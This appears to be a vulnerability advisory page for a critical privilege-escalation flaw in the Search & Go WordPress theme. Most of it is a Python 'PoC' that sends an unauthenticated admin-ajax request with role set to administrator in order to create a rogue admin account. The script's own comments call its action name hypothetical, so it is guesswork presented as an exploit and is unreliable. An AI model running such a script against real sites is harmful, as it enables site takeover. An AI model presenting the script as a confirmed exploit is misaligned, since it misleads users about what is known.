Incorrect Privilege Assignment vulnerability in Elated-Themes Search & Go searchgo allows Privilege Escalation.This issue affects Search & Go: from n/a through <= 2.8.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Elated-Themes Search & Go <= 2.8
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def exploit_privilege_escalation(target_url):
"""
PoC for CVE-2026-24971: Incorrect Privilege Assignment in Search & Go Theme.
This script attempts to register a new user with administrative privileges.
"""
# Target endpoint (example, actual endpoint may vary based on theme implementation)
endpoint = f"{target_url}/wp-admin/admin-ajax.php"
# Payload attempting to escalate privileges
payload = {
"action": "searchgo_theme_register_action", # Hypothetical action name
"username": "attacker",
"email": "[email protected]",
"role": "administrator", # Malicious parameter injection
"security": "nonce_value_if_needed"
}
try:
response = requests.post(endpoint, data=payload)
if response.status_code == 200:
print("[+] Request sent successfully. Check if user was created as admin.")
print(f"[+] Response: {response.text[:200]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
target = "http://example.com"
exploit_privilege_escalation(target)